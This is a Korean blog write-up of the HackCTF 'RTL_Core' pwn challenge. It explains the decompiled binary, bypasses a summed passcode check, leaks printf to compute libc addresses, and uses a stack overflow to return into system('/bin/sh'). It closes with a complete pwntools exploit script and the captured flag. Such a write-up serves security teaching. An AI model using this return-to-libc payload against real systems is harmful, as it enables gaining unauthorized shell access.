ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • RTL_Core
    CTF/HackCTF 2021. 2. 1. 02:53

    Disassembly 디스어셈블리


    undefined4 main(void)
    {
        int32_t iVar1;
        char acStack36 [4];
        char *s;
        undefined *puStack12;
        int32_t var_4h;
        
        puStack12 = &stack0x00000004;
        setvbuf(_reloc.stdout, 0, 2, 0);
        puts("코어 파일에 액세스중입니다...\n패스코드를 입력해주세요");
        printf("Passcode: ");
        gets(acStack36);
        iVar1 = check_passcode(acStack36);
        if (iVar1 == _hashcode) {
            puts("코드가 일치하구나. 좋아, 다음 단서를 던져주지");
            core();
        } else {
            puts(0x8048881);
        }
        return 0;
    }
    

    main은 gets로 패스코드를 입력받고 check_passcode를 실행한다.

    int32_t check_passcode(char *arg_8h)
    {
        int32_t var_ch;
        int32_t var_8h;
        int32_t var_4h;
        
        var_8h = 0;
        var_4h = 0;
        while (var_4h < 5) {
            var_8h = var_8h + *(int32_t *)(arg_8h + var_4h * 4);
            var_4h = var_4h + 1;
        }
        return var_8h;
    }

    check_passcode는 패스코드를 4바이트씩 5번 끊어 int형으로 변환해 더한 뒤 리턴해준다. 

        if (iVar1 == _hashcode) {
            puts("코드가 일치하구나. 좋아, 다음 단서를 던져주지");
            core();

    이때 리턴값을 _hashcode와 비교해 일치할 경우 core를 실행한다.

    void core(void)
    {
        uint32_t uVar1;
        undefined4 *puVar2;
        int32_t var_3eh;
        int32_t var_3ah;
        undefined4 uStack20;
        int32_t var_ch;
        int32_t var_8h;
        
        var_3eh = 0;
        var_3ah = 0;
        uStack20 = 0;
        uVar1 = (uint32_t)((int32_t)&var_ch - (int32_t)(undefined4 *)((int32_t)&var_3ah + 2)) >> 2;
        puVar2 = (undefined4 *)((int32_t)&var_3ah + 2);
        while (uVar1 != 0) {
            uVar1 = uVar1 - 1;
            *puVar2 = 0;
            puVar2 = puVar2 + 1;
        }
        var_ch = dlsym(0xffffffff, "printf");
        printf("너에게 필요한 것은 바로 %p 일거야\n", var_ch);
        read(0, &var_3eh, 100);
        return;
    }

    core는 printf의 주소를 출력한 뒤 read로 100바이트만큼 입력받는다. 이때 스택 버퍼 오버플로우가 발생한다.

     

    NX Enabled

    NX가 걸려있으므로 스택에 쉘코드 삽입을 통한 공격은 할 수 없다.

    check_passcode()


    _hashcode 0xc0d9b0a7

    payload = p32(0xc0d9b0a7)
    payload += p32(0)*4
    p.sendline(payload)

    알고 있는 _hashcode 값과 passcode가 일치하도록 입력을 넣어주면 다음과 같이 printf의 주소를 얻을 수 있다.

     

    Libc address leak


    p.recvuntil("바로 ")
    
    printf = int(p.recv(10), 16)
    libc = printf - l.symbols["printf"]
    system = libc + l.symbols["system"]
    binsh = libc + next(l.search(b"/bin/sh\x00"))
    
    log.info("libc : " + hex(libc))

    printf의 주소를 바탕으로 libc base address와 공격에 사용할 주소들을 구할 수 있다.

     

    Return-to-libc


    payload = b"A"*0x42
    payload += p32(system)
    payload += b"A"*0x4
    payload += p32(binsh)
    
    p.sendline(payload)

    core에서 var_3eh에 스택 버퍼 오버플로우가 발생하는 것을 이용해 system("/bin/sh")를 호출하면 문제를 해결할 수 있다.

     

    Code

    더보기
    from pwn import *
    
    binary = "./rtlcore"
    lib = "./libc.so.6"
    server = "ctf.j0n9hyun.xyz"
    port = 3015
    
    # context.log_level = 'debug'
    context.binary = binary
    
    p = remote(server, port)
    e = ELF(binary)
    l = ELF(lib)
    
    payload = p32(0xc0d9b0a7)
    payload += p32(0)*4
    p.sendline(payload)
    
    p.recvuntil("바로 ")
    
    printf = int(p.recv(10), 16)
    libc = printf - l.symbols["printf"]
    system = libc + l.symbols["system"]
    binsh = libc + next(l.search(b"/bin/sh\x00"))
    
    payload = b"A"*0x42
    payload += p32(system)
    payload += b"A"*0x4
    payload += p32(binsh)
    
    p.sendline(payload)
    
    p.interactive()

    Flag

    HackCTF{5ucc355ful_r7lc0r3_f1l3_4cc355}

    'CTF > HackCTF' 카테고리의 다른 글

    Gift  (0) 2021.02.01
    Loot at me  (0) 2021.02.01
    Random Key  (0) 2021.02.01
    1996  (0) 2021.02.01
    Poet  (0) 2021.02.01

    댓글

Designed by Tistory.